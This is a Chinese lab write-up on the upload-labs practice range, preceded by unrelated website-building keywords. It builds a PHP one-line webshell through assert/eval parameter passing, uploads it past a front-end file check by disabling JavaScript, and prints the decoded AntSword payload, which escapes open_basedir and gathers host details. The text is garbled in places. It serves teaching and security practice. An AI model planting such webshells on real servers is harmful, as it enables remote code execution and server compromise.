大连科技公司建设网站,网站改版域名不变,什么是建站,厦门手机网站建设是什么意思目录
一、实验环境
二、实验过程
构造一句话木马
一句话木马的使用:
木马原理解析: 一、实验环境
小皮面板搭建:upload-labs靶场
二、实验过程
构造一句话木马
这是一个最简单的一句话木马#xff0c;我们用GET传参接受了两个参数#xff0c;其最终目的是构造出:ass…目录
一、实验环境
二、实验过程
构造一句话木马
一句话木马的使用:
木马原理解析: 一、实验环境
小皮面板搭建:upload-labs靶场
二、实验过程
构造一句话木马
这是一个最简单的一句话木马我们用GET传参接受了两个参数其最终目的是构造出:assert($_GET[1]) - assert(eval(phpinfo()))这样的语句。这里是因为assert只能执行函数不能执行字符串形式的参数。我们也可以直接构造eval但是很容易被杀在我个人电脑上我们可以关闭保护软件但是我们可以关闭网站服务器的杀毒软件吗?显然不能所以这里我们使用了传参来构建一句话木马。
一句话木马的使用:
这里以第一关为例:
我们上传发现不允许php文件上传根据弹窗很明显发现这是一个白名单限制我们看看源码。这个网站的防御规则很清晰了他是在前端防御谷歌浏览器提供一个不加载JavaScript的功能。我们设置成不允许刷新靶场再次上传木马文件发现上传成功了。接下来复制图片地址根据一句话木马的构造思路进行传参。发现木马执行了phpinfo()这究竟是为什么呢?我们一起来看看它的原理吧!
木马原理解析:
思路:先利用中国蚁剑进行连接在进行抓包看看究竟有什么东西。 url:http://10.5.50.55/upload-labs/upload/web.php?0assert1eval($_POST[muma])
密码:muma
添加成功点击左上角AntSword设置网站代理:127.0.0.1端口:8080
接下来就开始抓包了。抓到了完了我将它进行转码看看究竟是什么吧
ini_set(display_errors, 0);
set_time_limit(0);$opdir ini_get(open_basedir);
if ($opdir) {$ocwd dirname($_SERVER[SCRIPT_FILENAME]);$oparr preg_split(base64_decode(Lzt8Oi8), $opdir);array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!is_writable($item)) {continue;};$tmdir $item . /.66b0688826;mkdir($tmdir);if (!file_exists($tmdir)) {continue;}$tmdir realpath($tmdir);chdir($tmdir);ini_set(open_basedir, ..);$cntarr preg_split(/\\\\|\//, $tmdir);for ($i 0; $i sizeof($cntarr); $i) {chdir(..);};ini_set(open_basedir, /);rmdir($tmdir);break;};
};function asenc($out)
{return $out;
};function asoutput()
{$output ob_get_contents();ob_end_clean();echo 9a4f . 2074;echo asenc($output);echo 05c31 . 7aefb;
}ob_start();
try {$D dirname($_SERVER[SCRIPT_FILENAME]);if ($D ) $D dirname($_SERVER[PATH_TRANSLATED]);$R {$D} ;if (substr($D, 0, 1) ! /) {foreach (range(C, Z) as $L)if (is_dir({$L}:)) $R . {$L}:;} else {$R . /;}$R . ;$u (function_exists(posix_getegid)) ? posix_getpwuid(posix_geteuid()) : ;$s ($u) ? $u[name] : get_current_user();$R . php_uname();$R . {$s};echo $R;
} catch (Exception $e) {echo ERROR:// . $e-getMessage();
};
asoutput();
die();解完码之后是这串代码这段代码的功能包括
禁用 PHP 错误显示通过 ini_set(display_errors, 0)设置脚本执行时间不限制通过 set_time_limit(0)尝试获取当前 PHP 配置中的 open_basedir 设置并对其进行一系列操作检查是否存在可写目录并在其中创建一个名为 .66b0688826 的隐藏目录尝试移动到该目录并修改 open_basedir 设置以访问上层目录移除创建的隐藏目录定义了两个函数 asenc 和 asoutput但它们在代码中并没有被直接调用尝试获取服务器信息和当前用户信息并输出到页面上
muma%40eval(%40base64_decode(%24_POST%5Bu91112c5bcc0a7%5D))%3B
这串代码是在对上一个代码进行base64解码完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们通过右边可以发现我们的盘符、系统等信息都被爆出来了。